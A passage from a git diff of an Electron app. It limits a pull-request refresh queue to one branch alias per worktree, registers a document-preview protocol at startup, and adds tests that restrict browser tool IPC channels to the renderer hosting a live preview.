+    // No timer advance: the entry stays queued, so every enqueue lands on the same
+    // alias map and the coalescing bound is what keeps it from growing.
+    for (let i = 0; i < 200; i += 1) {
+      enqueuePRRefresh(
+        makeCandidate({
+          cacheKey: `/repo::churn/${i}`,
+          branch: `churn/${i}`,
+          worktreeId: 'wt-churn',
+          linkedPRNumber: 42,
+          cachedFetchedAt: null
+        }),
+        'swr',
+        10,
+        1
+      )
+    }
+    expect(_getPRRefreshQueueSizeForTests()).toBe(1)
+    expect(_getPRRefreshAliasCountForTests(LINKED_PR_KEY)).toBe(1)
+
+    await vi.advanceTimersByTimeAsync(60_000)
+    const outcomeAliases = coordinatorMocks.sendMock.mock.calls
+      .filter((call) => call[0] === 'gh:prRefreshEvent')
+      .map((call) => (call[1] as { aliases: { cacheKey: string }[] }).aliases)
+    expect(outcomeAliases.every((aliases) => aliases.length === 1)).toBe(true)
+    expect(outcomeAliases.at(-1)?.[0].cacheKey).toBe('/repo::churn/199')
+  })
+
+  it('keeps a manually refreshed worktree to one alias across branch churn', async () => {
+    const { reportVisiblePRRefreshCandidates, refreshPRNow, _getPRRefreshAliasCountForTests } =
+      await import('./pr-refresh-coordinator')
+
+    const churnCandidate = (index: number): GitHubPRRefreshCandidate =>
+      makeCandidate({
+        cacheKey: `/repo::churn/${index}`,
+        branch: `churn/${index}`,
+        worktreeId: 'wt-churn',
+        linkedPRNumber: 42,
+        cachedFetchedAt: null
+      })
+
+    // A manual refresh merges its alias into its own copy of the entry's map and
+    // writes that map back, so the coalescing bound has to hold on re-entry too.
+    reportVisiblePRRefreshCandidates([churnCandidate(0)], 1, 1)
+    await vi.advanceTimersByTimeAsync(1_000)
+    for (let i = 1; i <= 30; i += 1) {
+      await refreshPRNow(churnCandidate(i))
+      await vi.advanceTimersByTimeAsync(1)
+    }
+
+    expect(_getPRRefreshAliasCountForTests(LINKED_PR_KEY)).toBe(1)
+  })
+})
diff --git a/src/main/github/pr-refresh-queue.ts b/src/main/github/pr-refresh-queue.ts
index 2cc185535fa..ef2a706b589 100644
--- a/src/main/github/pr-refresh-queue.ts
+++ b/src/main/github/pr-refresh-queue.ts
@@ -32,6 +32,80 @@ export type PRRefreshEnqueue = {
   coalesced: boolean
 }
 
+/** A worktree has one live branch at a time, so a second cacheKey for it is a
+ *  branch it moved off. Drop those: a linked-PR key survives every branch
+ *  switch, so while its entry is parked (rate-limit pause, error backoff, or
+ *  just waiting to drain) every switch used to add a cacheKey that the drain
+ *  snapshot then carries forward, and each dead one costs IPC payload and a
+ *  renderer cache write on every later broadcast. */
+function setLiveAlias(
+  aliases: Map<string, GitHubPRRefreshAlias>,
+  alias: GitHubPRRefreshAlias
+): void {
+  if (alias.worktreeId) {
+    for (const [cacheKey, existing] of aliases) {
+      if (cacheKey !== alias.cacheKey && existing.worktreeId === alias.worktreeId) {
+        aliases.delete(cacheKey)
+      }
+    }
+  }
+  aliases.set(alias.cacheKey, alias)
+}
+
+/** Follow-up aliases were captured before the request ran, so anything enqueued
+ *  while it was in flight is newer. Return that preserved alias so callers do
+ *  not pair it with the stale request candidate. */
+function mergeFollowUpAlias(
+  aliases: Map<string, GitHubPRRefreshAlias>,
+  alias: GitHubPRRefreshAlias
+): GitHubPRRefreshAlias | undefined {
+  if (alias.worktreeId) {
+    for (const existing of aliases.values()) {
+      if (existing.worktreeId === alias.worktreeId) {
+        return existing
+      }
+    }
+  }
+  setLiveAlias(aliases, alias)
+  return undefined
+}
+
+function sameAliasRequestIdentity(
+  left: GitHubPRRefreshAlias,
+  right: GitHubPRRefreshAlias
+): boolean {
+  return (
+    left.cacheKey === right.cacheKey &&
+    left.repoId === right.repoId &&
+    left.repoPath === right.repoPath &&
+    left.branch === right.branch &&
+    left.worktreeId === right.worktreeId &&
+    left.connectionId === right.connectionId &&
+    left.executionHostId === right.executionHostId &&
+    left.linkedPRNumber === right.linkedPRNumber &&
+    left.fallbackPRNumber === right.fallbackPRNumber &&
+    left.fallbackPRSource === right.fallbackPRSource &&
+    left.currentHeadOid === right.currentHeadOid
+  )
+}
+
+/** A manual refresh merges its alias into its own copy of the map and writes it
+ *  back, so re-entry through `set` has to re-apply the same bound; later
+ *  insertions are the newer branch and win. */
+function dropSupersededWorktreeAliases(aliases: Map<string, GitHubPRRefreshAlias>): void {
+  const liveCacheKeyByWorktree = new Map<string, string>()
+  for (const [cacheKey, alias] of aliases) {
+    if (!alias.worktreeId) {
+      continue
+    }
+    const superseded = liveCacheKeyByWorktree.get(alias.worktreeId)
+    if (superseded !== undefined) {
+      aliases.delete(superseded)
+    }
+    liveCacheKeyByWorktree.set(alias.worktreeId, cacheKey)
+  }
+}
+
 export class PRRefreshQueue {
   private readonly entries = new Map<string, PRRefreshQueueEntry>()
   private order = 0
@@ -47,6 +121,7 @@ export class PRRefreshQueue {
   }
 
   set(key: string, entry: PRRefreshQueueEntry): void {
+    dropSupersededWorktreeAliases(entry.aliases)
     this.entries.set(key, entry)
   }
 
@@ -92,7 +167,7 @@ export class PRRefreshQueue {
       return { alias, key, dueAt, coalesced: false }
     }
 
-    existing.aliases.set(alias.cacheKey, alias)
+    setLiveAlias(existing.aliases, alias)
     const shouldPromote =
       priority > existing.priority ||
       reason === 'manual' ||
@@ -190,20 +265,29 @@ export class PRRefreshQueue {
   setVisibleFollowUp(entry: PRRefreshQueueEntry): void {
     const existing = this.entries.get(entry.key)
     if (!existing) {
-      this.entries.set(entry.key, entry)
+      this.set(entry.key, entry)
       return
     }
+    let candidateSuperseded = false
     for (const alias of entry.aliases.values()) {
-      existing.aliases.set(alias.cacheKey, alias)
+      const preserved = mergeFollowUpAlias(existing.aliases, alias)
+      if (
+        preserved &&
+        alias.worktreeId === entry.candidate.worktreeId &&
+        !sameAliasRequestIdentity(preserved, alias)
+      ) {
+        candidateSuperseded = true
+      }
     }
     if (
+      candidateSuperseded ||
       bypassesFreshnessDelay(existing.reason) ||
       existing.priority > entry.priority ||
       existing.dueAt <= entry.dueAt
     ) {
       return
     }
-    this.entries.set(entry.key, { ...entry, aliases: existing.aliases })
+    this.set(entry.key, { ...entry, aliases: existing.aliases })
   }
 
   ordered(
diff --git a/src/main/index.ts b/src/main/index.ts
index c21adc53642..79f3f53f3a5 100644
--- a/src/main/index.ts
+++ b/src/main/index.ts
@@ -319,6 +319,11 @@ import { browserCertificateTrustController, browserManager } from './browser/bro
 import { RpcDispatcher } from './runtime/rpc/dispatcher'
 import { OffscreenBrowserBackend } from './browser/offscreen-browser-backend'
 import { initializeBrowserSessionsForApp } from './browser/browser-session-startup'
+import {
+  installDocPreviewProtocolHandler,
+  registerDocPreviewSchemePrivileges
+} from './browser/doc-preview-protocol'
+import { registerDocPreviewGrantHandlers } from './ipc/doc-preview-grant-ipc'
 import { initializeBrowserClientHostId } from './browser/browser-client-host-id'
 import { setUnreadDockBadgeCount } from './dock/unread-badge'
 import { AutomationService } from './automations/service'
@@ -962,6 +967,9 @@ if (hasSingleInstanceLock) {
   if (shouldApplyPreReadyAppName(devInstanceIdentity)) {
     app.setName(devInstanceIdentity.appName)
   }
+  // Why: Electron freezes the privileged scheme table at ready, so the doc-preview
+  // scheme must be declared here or its webview loses fetch/secure-origin privileges.
+  registerDocPreviewSchemePrivileges()
   // Why: must precede app.whenReady() so Crashpad is installed before the
   // first renderer spawns; a CHECK before this point is still exit-code-only.
   startCrashpadCapture()
@@ -2437,6 +2445,9 @@ void app.whenReady().then(async () => {
   } catch {
     console.warn('[proxy] Failed to apply network proxy settings')
   }
+  // Why: the preview session is protocol-scoped, so the handler must exist before any preview webview attaches.
+  installDocPreviewProtocolHandler()
+  registerDocPreviewGrantHandlers()
   // Why: browser sessions serve desktop webviews and runtime profile commands, so init at app startup rather than via a renderer IPC path.
   initializeBrowserSessionsForApp({
     orcaProfileId: activeOrcaProfile.profile.id,
diff --git a/src/main/ipc/browser-grab-ipc.ts b/src/main/ipc/browser-grab-ipc.ts
index d13b92a537b..04531acd986 100644
--- a/src/main/ipc/browser-grab-ipc.ts
+++ b/src/main/ipc/browser-grab-ipc.ts
@@ -1,5 +1,6 @@
 import { ipcMain } from 'electron'
 import { browserManager } from '../browser/browser-manager'
+import { onDocPreviewGrantRevoked } from '../browser/doc-preview-grant-registry'
 import { isTrustedBrowserRenderer } from './browser-renderer-trust'
 import { waitForNextTabRegistration } from './browser-tab-registration-wait'
 import type {
@@ -48,7 +49,25 @@ export function disposeGrabModeStateForPage(browserPageId: string): void {
   grabModeOperationByPageId.delete(browserPageId)
 }
 
+/**
+ * Why previews need their own disposal path: a browser page announces its own death on
+ * `browser:unregisterGuest`, and a preview never does — it withdraws by revoking its grant, which
+ * is also what a re-mint does. Without this, every grant leaves an intent entry behind forever.
+ */
+let disposePreviewGrantSubscription: (() => void) | null = null
+
+function subscribeToPreviewGrantRevocation(): void {
+  disposePreviewGrantSubscription?.()
+  disposePreviewGrantSubscription = onDocPreviewGrantRevoked((grant) => {
+    // Why cancel first: a grab still armed on that guest would otherwise leave the renderer's
+    // await hanging on a surface the reader has already closed.
+    browserManager.cancelGrabOp(grant.browserPageId, 'evicted')
+    disposeGrabModeStateForPage(grant.browserPageId)
+  })
+}
+
 export function registerBrowserGrabHandlers(): void {
+  subscribeToPreviewGrantRevocation()
   ipcMain.removeHandler('browser:setGrabMode')
   ipcMain.removeHandler('browser:awaitGrabSelection')
   ipcMain.removeHandler('browser:cancelGrab')
diff --git a/src/main/ipc/browser-guest-view-ipc.ts b/src/main/ipc/browser-guest-view-ipc.ts
index f5edd6fc286..b5ca40ce389 100644
--- a/src/main/ipc/browser-guest-view-ipc.ts
+++ b/src/main/ipc/browser-guest-view-ipc.ts
@@ -85,12 +85,26 @@ export function registerBrowserGuestViewHandlers(): void {
       ) {
         return false
       }
-      return browserManager.setAnnotationViewportBridge(args.browserPageId, {
-        enabled: args.enabled,
-        emitViewport: args.emitViewport,
-        markers: args.markers,
-        token: args.token
-      })
+      // Why resolve here: this is a tool acting on a guest the reader is looking at, so it answers
+      // for a workspace document too — and routing through the authority also pins the request to
+      // the renderer that owns the target, which page-id-only resolution never checked.
+      const resolveGuest = (): Electron.WebContents | null =>
+        browserManager.getAuthorizedGuest(args.browserPageId, event.sender.id)
+      if (!resolveGuest()) {
+        return false
+      }
+      // Why hand over the resolver rather than that guest: the op is serialized per tab, and the
+      // one it finally runs against must be the one on screen then, not the one this request saw.
+      return browserManager.setAnnotationViewportBridge(
+        args.browserPageId,
+        {
+          enabled: args.enabled,
+          emitViewport: args.emitViewport,
+          markers: args.markers,
+          token: args.token
+        },
+        resolveGuest
+      )
     }
   )
 
diff --git a/src/main/ipc/browser-preview-tool-authorization.test.ts b/src/main/ipc/browser-preview-tool-authorization.test.ts
new file mode 100644
index 00000000000..0b09f2e0ead
--- /dev/null
+++ b/src/main/ipc/browser-preview-tool-authorization.test.ts
@@ -0,0 +1,510 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type * as DocPreviewGuestPolicyModule from '../browser/doc-preview-guest-policy'
+import type * as TabRegistrationWaitModule from './browser-tab-registration-wait'
+
+const {
+  handleMock,
+  removeHandlerMock,
+  getAuthorizedGuestMock,
+  setGrabModeMock,
+  awaitGrabSelectionMock,
+  cancelGrabOpMock,
+  captureSelectionScreenshotMock,
+  extractHoverPayloadMock,
+  setAnnotationViewportBridgeMock,
+  openDevToolsMock,
+  setViewportOverrideMock,
+  previewAuthoritySpy,
+  registrationWaitSpy
+} = vi.hoisted(() => ({
+  handleMock: vi.fn(),
+  removeHandlerMock: vi.fn(),
+  getAuthorizedGuestMock: vi.fn(),
+  setGrabModeMock: vi.fn().mockResolvedValue(true),
+  awaitGrabSelectionMock: vi.fn().mockResolvedValue({ opId: 'op', kind: 'cancelled' }),
+  cancelGrabOpMock: vi.fn(),
+  captureSelectionScreenshotMock: vi.fn().mockResolvedValue(null),
+  extractHoverPayloadMock: vi.fn().mockResolvedValue(null),
+  setAnnotationViewportBridgeMock: vi.fn().mockResolvedValue(true),
+  openDevToolsMock: vi.fn().mockResolvedValue(true),
+  setViewportOverrideMock: vi.fn().mockResolvedValue(true),
+  previewAuthoritySpy: vi.fn(),
+  registrationWaitSpy: vi.fn()
+}))
+
+vi.mock('electron', () => ({
+  BrowserWindow: { fromWebContents: vi.fn() },
+  ipcMain: { removeHandler: removeHandlerMock, handle: handleMock },
+  webContents: { fromId: vi.fn(() => ({ isDestroyed: () => false })) }
+}))
+
+vi.mock('../browser/browser-manager', () => ({
+  browserCertificateTrustController: { proceed: vi.fn(() => ({ ok: true })) },
+  browserManager: {
+    registerGuest: vi.fn(() => true),
+    attachGuestPolicies: vi.fn(),
+    unregisterGuest: vi.fn(),
+    getGuestWebContentsId: vi.fn(),
+    getWebContentsIdByTabId: vi.fn(() => new Map()),
+    getWorktreeIdForTab: vi.fn(),
+    getAuthorizedGuest: getAuthorizedGuestMock,
+    setGrabMode: setGrabModeMock,
+    awaitGrabSelection: awaitGrabSelectionMock,
+    cancelGrabOp: cancelGrabOpMock,
+    captureSelectionScreenshot: captureSelectionScreenshotMock,
+    extractHoverPayload: extractHoverPayloadMock,
+    setAnnotationViewportBridge: setAnnotationViewportBridgeMock,
+    openDevTools: openDevToolsMock,
+    setViewportOverride: setViewportOverrideMock,
+    cancelDownload: vi.fn()
+  }
+}))
+
+// Why the real policy module behind a spy: the point of these tests is which half of the page
+// registry a channel reads, so a stub of it would prove nothing about what was consulted.
+vi.mock('../browser/doc-preview-guest-policy', async (importOriginal) => {
+  const actual = await importOriginal<typeof DocPreviewGuestPolicyModule>()
+  return {
+    ...actual,
+    getWorkspaceDocPageGuest: (browserPageId: string, senderWebContentsId: number) => {
+      previewAuthoritySpy(browserPageId, senderWebContentsId)
+      return actual.getWorkspaceDocPageGuest(browserPageId, senderWebContentsId)
+    }
+  }
+})
+
+// Why spy rather than stub: the wait is real machinery the browser-page path still depends on;
+// only whether a preview target enters it is under test.
+vi.mock('./browser-tab-registration-wait', async (importOriginal) => {
+  const actual = await importOriginal<typeof TabRegistrationWaitModule>()
+  return {
+    ...actual,
+    waitForNextTabRegistration: (...args: Parameters<typeof actual.waitForNextTabRegistration>) => {
+      registrationWaitSpy(args[0])
+      return actual.waitForNextTabRegistration(...args)
+    }
+  }
+})
+
+import { registerBrowserHandlers } from './browser'
+import { browserManager } from '../browser/browser-manager'
+import {
+  getWorkspaceDocPageGuest,
+  installDocPreviewGuestPolicy
+} from '../browser/doc-preview-guest-policy'
+import {
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants,
+  revokeDocPreviewGrant
+} from '../browser/doc-preview-grant-registry'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+
+const HOST_RENDERER_ID = 91
+const OTHER_RENDERER_ID = 92
+/** Mirrors browser-grab-ipc's own wait, so elapsing it here settles the same parked request. */
+const GRAB_REGISTRATION_WAIT_MS = 1_000
+
+/**
+ * Every `browser:*` invoke channel, split by whether it acts on a guest the reader is looking at
+ * (a tool) or manages browser-page, session and profile state. The split is asserted to be total,
+ * so a new channel cannot be added without deciding which side of the preview seam it belongs on.
+ */
+const TOOL_CHANNELS = [
+  'browser:setGrabMode',
+  'browser:awaitGrabSelection',
+  'browser:cancelGrab',
+  'browser:captureSelectionScreenshot',
+  'browser:extractHoverPayload',
+  'browser:setAnnotationViewportBridge'
+]
+
+const BROWSER_PAGE_CHANNELS = [
+  'browser:registerGuest',
+  'browser:prepareSshWorkspacePartition',
+  'browser:repairGuestRegistration',
+  'browser:isGuestRegistered',
+  'browser:unregisterGuest',
+  'browser:respondWebAuthnAccount',
+  'browser:proceedCertificate',
+  'browser:activeTabChanged',
+  'browser:openDevTools',
+  'browser:setViewportOverride',
+  'browser:publishClientPageMetadata',
+  'browser:cancelDownload',
+  'browser:session:listProfiles',
+  'browser:session:createProfile',
+  'browser:session:deleteProfile',
+  'browser:session:importCookies',
+  'browser:session:resolvePartition',
+  'browser:session:clearDefaultCookies',
+  'browser:session:importFromBrowserForClientHost',
+  'browser:session:clientRouteImportSources',
+  'browser:session:detectBrowsers',
+  'browser:session:detectBrowsersForClientHost',
+  'browser:session:importFromBrowser'
+]
+
+type Handler = (event: { sender: Electron.WebContents }, args: unknown) => unknown
+
+function registeredHandlers(): Map<string, Handler> {
+  const handlers = new Map<string, Handler>()
+  for (const [channel, handler] of handleMock.mock.calls as [string, Handler][]) {
+    handlers.set(channel, handler)
+  }
+  return handlers
+}
+
+function trustedSender(id: number): { sender: Electron.WebContents } {
+  return {
+    sender: {
+      id,
+      isDestroyed: () => false,
+      getType: () => 'window',
+      getURL: () => 'file:///renderer/index.html'
+    } as unknown as Electron.WebContents
+  }
+}
+
+let nextDocPageOrdinal = 0
+
+function grantForNewDocPage(): { id: string; browserPageId: string } {
+  nextDocPageOrdinal += 1
+  const browserPageId = `doc-page-${nextDocPageOrdinal}`
+  const grant = mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId
+  })
+  return { id: grant.id, browserPageId }
+}
+
+/** A preview guest already showing its document, which is the only state a tool can act in. */
+function renderPreviewForGrant(
+  grant: { id: string; browserPageId: string },
+  hostId: number = HOST_RENDERER_ID
+): {
+  grantId: string
+  browserPageId: string
+  contents: object
+  markContentsDestroyed: () => void
+} {
+  const browserPageId = grant.browserPageId
+  const handlers: Record<string, (...args: never[]) => void> = {}
+  const register = (event: string, handler: (...args: never[]) => void): void => {
+    handlers[event] = handler
+  }
+  // Why the guest already reports its URL: the embedder hands a preview over mid-load, so this is
+  // the state the policy really installs into.
+  const documentUrl = buildDocPreviewUrl(grant.id, 'index.html')
+  let contentsDestroyed = false
+  const guest = {
+    isFocused: () => true,
+    isDestroyed: () => contentsDestroyed,
+    getURL: () => documentUrl,
+    on: vi.fn(register),
+    once: vi.fn(register),
+    setWindowOpenHandler: vi.fn(),
+    setWebRTCIPHandlingPolicy: vi.fn()
+  }
+  installDocPreviewGuestPolicy(guest as never, { id: hostId, send: vi.fn() })
+  handlers['did-start-navigation']?.({ url: documentUrl, isMainFrame: true } as never)
+  return {
+    grantId: grant.id,
+    browserPageId,
+    contents: guest,
+    // Why without the `destroyed` event: Chromium tears the contents down before main runs that
+    // listener, so this is the window the authority has to answer for on its own.
+    markContentsDestroyed: () => {
+      contentsDestroyed = true
+    }
+  }
+}
+
+function liveRenderedPreview(
+  hostId: number = HOST_RENDERER_ID
+): ReturnType<typeof renderPreviewForGrant> {
+  return renderPreviewForGrant(grantForNewDocPage(), hostId)
+}
+
+/** Minimal well-formed args per channel, so a refusal is authorization and not shape validation. */
+function toolArgs(channel: string, browserPageId: string): Record<string, unknown> {
+  switch (channel) {
+    case 'browser:setGrabMode':
+      return { browserPageId, enabled: true }
+    case 'browser:awaitGrabSelection':
+      return { browserPageId, opId: 'op-1' }
+    case 'browser:captureSelectionScreenshot':
+      return { browserPageId, rect: { x: 0, y: 0, width: 10, height: 10 } }
+    case 'browser:setAnnotationViewportBridge':
+      return {
+        browserPageId,
+        enabled: true,
+        emitViewport: true,
+        markers: [],
+        token: 'annotation-bridge-token-1'
+      }
+    default:
+      return { browserPageId }
+  }
+}
+
+/** The viewport bridge is handed a resolver rather than the contents, so unwrap one call argument. */
+function resolvesToGuest(argument: unknown, guest: object): boolean {
+  return argument === guest || (typeof argument === 'function' && argument() === guest)
+}
+
+const GUEST_RECEIVING_MOCKS = [
+  setGrabModeMock,
+  awaitGrabSelectionMock,
+  captureSelectionScreenshotMock,
+  extractHoverPayloadMock,
+  setAnnotationViewportBridgeMock
+]
+
+beforeEach(() => {
+  vi.stubEnv('ELECTRON_RENDERER_URL', '')
+  // Why before clearing: revoking the previous test's grants disposes their page state through the
+  // mocked manager, and those calls belong to that test, not this one.
+  revokeAllDocPreviewGrants()
+  vi.clearAllMocks()
+  // Why the mocked manager still answers for documents: this file's subject is which channels may
+  // reach a document guest, not how the manager splits its registry — that lives in
+  // browser-manager-guest-policy-profile.test.ts, against the real manager.
+  getAuthorizedGuestMock.mockImplementation((browserPageId: string, senderWebContentsId: number) =>
+    getWorkspaceDocPageGuest(browserPageId, senderWebContentsId)
+  )
+  setGrabModeMock.mockResolvedValue(true)
+  awaitGrabSelectionMock.mockResolvedValue({ opId: 'op-1', kind: 'cancelled' })
+  captureSelectionScreenshotMock.mockResolvedValue(null)
+  extractHoverPayloadMock.mockResolvedValue(null)
+  setAnnotationViewportBridgeMock.mockResolvedValue(true)
+  registerBrowserHandlers()
+  // Why fake timers for the whole file: a tool asking for a page whose guest has not attached parks
+  // in the registration wait, and several cases here are exactly the ones that never attach. Real
+  // time would spend that wait for each of them.
+  vi.useFakeTimers()
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+/** Settles a tool request, elapsing the registration wait it may be parked in. */
+async function settle<T>(pending: Promise<T> | T | undefined): Promise<T | undefined> {
+  await vi.advanceTimersByTimeAsync(GRAB_REGISTRATION_WAIT_MS)
+  return pending
+}
+
+describe('doc preview tool authorization', () => {
+  it('classifies every registered browser channel as a tool or a browser-page channel', () => {
+    const registered = [...registeredHandlers().keys()].sort()
+    const classified = [...TOOL_CHANNELS, ...BROWSER_PAGE_CHANNELS].sort()
+
+    expect(registered).toEqual(classified)
+  })
+
+  it.each(TOOL_CHANNELS)('drives the preview guest from %s', async (channel) => {
+    const preview = liveRenderedPreview()
+    const handler = registeredHandlers().get(channel)
+
+    await handler?.(trustedSender(HOST_RENDERER_ID), toolArgs(channel, preview.browserPageId))
+
+    // Why assert on the guest and not on a return value: the whole point of the seam is which
+    // WebContents the tool ends up acting on.
+    const receivedGuest = GUEST_RECEIVING_MOCKS.some((mock) =>
+      mock.mock.calls.some((args) => args.some((arg) => resolvesToGuest(arg, preview.contents)))
+    )
+    expect(receivedGuest || cancelGrabOpMock.mock.calls.length > 0).toBe(true)
+  })
+
+  // The load-bearing containment claim: page and session management never reads the document half
+  // of the registry, so a document page can never be resolved as, or managed like, a browsing one.
+  // Nothing here is a per-channel guard — a document guest is simply not in the map these read.
+  it.each(BROWSER_PAGE_CHANNELS)('never reads the document registry from %s', async (channel) => {
+    const preview = liveRenderedPreview()
+    const handler = registeredHandlers().get(channel)
+
+    try {
+      await handler?.(trustedSender(HOST_RENDERER_ID), {
+        browserPageId: preview.browserPageId,
+        profileId: preview.browserPageId,
+        environmentId: preview.browserPageId
+      })
+    } catch {
+      // A malformed-for-this-channel payload may throw; the claim is about which registry was read.
+    }
+
+    expect(previewAuthoritySpy).not.toHaveBeenCalled()
+  })
+
+  it.each(TOOL_CHANNELS)(
+    'refuses %s from a renderer that does not host the preview',
+    async (channel) => {
+      const preview = liveRenderedPreview()
+      const handler = registeredHandlers().get(channel)
+
+      await settle(
+        handler?.(trustedSender(OTHER_RENDERER_ID), toolArgs(channel, preview.browserPageId))
+      )
+
+      for (const mock of [...GUEST_RECEIVING_MOCKS, cancelGrabOpMock]) {
+        expect(mock).not.toHaveBeenCalled()
+      }
+    }
+  )
+
+  it.each(TOOL_CHANNELS)('refuses %s for a page no preview rendered', async (channel) => {
+    const handler = registeredHandlers().get(channel)
+
+    await settle(
+      handler?.(trustedSender(HOST_RENDERER_ID), toolArgs(channel, 'doc-page-unrendered'))
+    )
+
+    for (const mock of [...GUEST_RECEIVING_MOCKS, cancelGrabOpMock]) {
+      expect(mock).not.toHaveBeenCalled()
+    }
+  })
+
+  // Why the contents check has to be its own condition: the grant is still live and the sender is
+  // still the host, so nothing else in the authority notices that the guest is gone.
+  it.each(TOOL_CHANNELS)('refuses %s once the preview contents are destroyed', async (channel) => {
+    const preview = liveRenderedPreview()
+    preview.markContentsDestroyed()
+    const handler = registeredHandlers().get(channel)
+
+    await settle(
+      handler?.(trustedSender(HOST_RENDERER_ID), toolArgs(channel, preview.browserPageId))
+    )
+
+    for (const mock of [...GUEST_RECEIVING_MOCKS, cancelGrabOpMock]) {
+      expect(mock).not.toHaveBeenCalled()
+    }
+  })
+
+  // Why this inverts what the split registries used to assert: a document page now registers under
+  // its own id, so the wait is reachable and useful — a tool opened while the guest is still
+  // attaching parks here instead of answering not-ready at the reader.
+  it('waits for a document page whose guest has not attached yet, and arms when it does', async () => {
+    const grant = grantForNewDocPage()
+    const handler = registeredHandlers().get('browser:setGrabMode')
+
+    const pending = handler?.(trustedSender(HOST_RENDERER_ID), {
+      browserPageId: grant.browserPageId,
+      enabled: true
+    })
+    await vi.advanceTimersByTimeAsync(0)
+    expect(registrationWaitSpy).toHaveBeenCalledWith(grant.browserPageId)
+
+    const preview = renderPreviewForGrant(grant)
+
+    await expect(pending).resolves.toEqual({ ok: true })
+    expect(setGrabModeMock).toHaveBeenCalledWith(grant.browserPageId, true, preview.contents)
+  })
+
+  // The absence half, with the same presence precondition: a page nothing ever renders still gives
+  // the reader an answer rather than hanging on the full timeout.
+  it('answers not-ready once the wait for an unrendered page elapses', async () => {
+    const handler = registeredHandlers().get('browser:setGrabMode')
+
+    await expect(
+      settle(
+        handler?.(trustedSender(HOST_RENDERER_ID), {
+          browserPageId: 'doc-page-never-rendered',
+          enabled: true
+        })
+      )
+    ).resolves.toEqual({ ok: false, reason: 'not-ready' })
+  })
+
+  it('still waits for a browser page whose registration may be in flight', async () => {
+    const handler = registeredHandlers().get('browser:setGrabMode')
+
+    await settle(
+      handler?.(trustedSender(HOST_RENDERER_ID), {
+        browserPageId: 'browser-page-1',
+        enabled: true
+      })
+    )
+
+    expect(registrationWaitSpy).toHaveBeenCalledWith('browser-page-1')
+  })
+
+  // Why the grant and not the guest: a preview withdraws by revoking, which is also what a
+  // re-mint does, and nothing else tells main that this tool target will never be used again.
+  it('disposes the grab state a preview target accumulated when its grant is revoked', async () => {
+    const preview = liveRenderedPreview()
+    const handler = registeredHandlers().get('browser:setGrabMode')
+    await handler?.(trustedSender(HOST_RENDERER_ID), {
+      browserPageId: preview.browserPageId,
+      enabled: true
+    })
+    cancelGrabOpMock.mockClear()
+
+    revokeDocPreviewGrant(preview.grantId)
+
+    expect(cancelGrabOpMock).toHaveBeenCalledWith(preview.browserPageId, 'evicted')
+  })
+
+  // Why both halves of this door: the manager refuses a preview id on its own, but the grab
+  // disposal beside it takes a renderer-supplied id, and the intent it drops is compared by
+  // identity — dropping it makes the grab settle ok without ever arming the guest.
+  it('leaves an in-flight preview grab armed when unregisterGuest names its target', async () => {
+    const preview = liveRenderedPreview()
+    const handlers = registeredHandlers()
+    const pending = handlers.get('browser:setGrabMode')?.(trustedSender(HOST_RENDERER_ID), {
+      browserPageId: preview.browserPageId,
+      enabled: true
+    })
+
+    // Why synchronously here: the intent is recorded before the queued operation runs, so this is
+    // the exact window in which a disposal at this door would be invisible to the caller.
+    const unregistered = handlers.get('browser:unregisterGuest')?.(
+      trustedSender(HOST_RENDERER_ID),
+      { browserPageId: preview.browserPageId }
+    )
+
+    // Why the guest and not the result: a dropped intent settles as ok either way, so only the
+    // guest actually being driven separates an armed grab from a silent no-op.
+    await expect(pending).resolves.toEqual({ ok: true })
+    expect(setGrabModeMock).toHaveBeenCalledWith(preview.browserPageId, true, preview.contents)
+    expect(unregistered).toBe(false)
+    expect(vi.mocked(browserManager.unregisterGuest)).not.toHaveBeenCalled()
+  })
+
+  // The converse, so the guard above cannot be widened into a door that stops closing tabs.
+  it('still disposes a browser page grab through the same door', async () => {
+    getAuthorizedGuestMock.mockReturnValue({ isDestroyed: () => false })
+    const handlers = registeredHandlers()
+    const pending = handlers.get('browser:setGrabMode')?.(trustedSender(HOST_RENDERER_ID), {
+      browserPageId: 'browser-page-1',
+      enabled: true
+    })
+
+    const unregistered = handlers.get('browser:unregisterGuest')?.(
+      trustedSender(HOST_RENDERER_ID),
+      { browserPageId: 'browser-page-1' }
+    )
+
+    expect(unregistered).toBe(true)
+    await expect(pending).resolves.toEqual({ ok: true })
+    expect(setGrabModeMock).not.toHaveBeenCalled()
+    expect(vi.mocked(browserManager.unregisterGuest)).toHaveBeenCalledWith('browser-page-1')
+  })
+
+  // Why with a live preview standing beside it: the halves are looked up in one door now, so the
+  // thing to prove is that a browsing id is not answered by whatever document happens to be open.
+  it('never hands a browsing page id the guest of a document that is open', async () => {
+    const preview = liveRenderedPreview()
+    const handler = registeredHandlers().get('browser:extractHoverPayload')
+
+    await handler?.(trustedSender(HOST_RENDERER_ID), { browserPageId: 'browser-page-1' })
+
+    expect(getAuthorizedGuestMock).toHaveBeenCalledWith('browser-page-1', HOST_RENDERER_ID)
+    expect(previewAuthoritySpy).toHaveBeenCalledWith('browser-page-1', HOST_RENDERER_ID)
+    expect(extractHoverPayloadMock).not.toHaveBeenCalled()
+    // The presence half: the same channel does reach that guest under the page it really renders.
+    await handler?.(trustedSender(HOST_RENDERER_ID), { browserPageId: preview.browserPageId })
+    expect(extractHoverPayloadMock).toHaveBeenCalledWith(preview.browserPageId, preview.contents)
+  })
+})
diff --git a/src/main/ipc/browser-tab-registration-wait.test.ts b/src/main/ipc/browser-tab-registration-wait.test.ts
new file mode 100644
index 00000000000..bd498109eed
--- /dev/null
+++ b/src/main/ipc/browser-tab-registration-wait.test.ts
@@ -0,0 +1,108 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  getWebContentsIdByTabId: vi.fn(() => new Map<string, number>()),
+  getWorktreeIdForTab: vi.fn(() => undefined as string | undefined),
+  getGuestWebContentsId: vi.fn(() => null as number | null),
+  webContentsFromId: vi.fn(() => null as unknown)
+}))
+
+vi.mock('electron', () => ({ webContents: { fromId: mocks.webContentsFromId } }))
+vi.mock('../browser/browser-manager', () => ({
+  browserManager: {
+    getWebContentsIdByTabId: mocks.getWebContentsIdByTabId,
